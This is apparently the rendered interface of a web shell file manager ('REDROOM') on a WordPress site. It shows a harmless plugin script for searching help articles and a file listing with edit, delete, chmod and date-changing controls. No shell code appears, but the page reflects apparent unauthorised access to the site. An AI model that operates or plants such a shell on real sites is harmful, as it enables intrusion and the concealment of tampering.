REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 623 B
Close
/home/nshryvcy/radiantskinclinics.org/wp-content/plugins/extendify_old/src/HelpCenter/hooks/useSearchArticles.js
Text
Base64
import { KB_HOST } from '@constants'; import useSWRImmutable from 'swr/immutable'; export const fetcher = async (search) => { if (search.length < 3) return null; const urlParams = new URLSearchParams({ lang: window.extSharedData.wpLanguage || null, search, }); return await fetch(`${KB_HOST}/api/posts?${urlParams.toString()}`, { method: 'POST', }).then((res) => { if (!res.ok) throw new Error(res.statusText); return res.json(); }); }; export const useSearchArticles = (search) => { const { data, error } = useSWRImmutable(search || null, fetcher); return { data, error, loading: !data && !error }; };
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
useRouter.js
3.39 KB
lrw-r--r--
2026-02-19 03:27:14
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
useSearchArticles.js
623 B
lrw-r--r--
2024-12-19 22:43:36
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
useSupportArticles.js
604 B
lrw-r--r--
2024-12-19 22:43:36
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).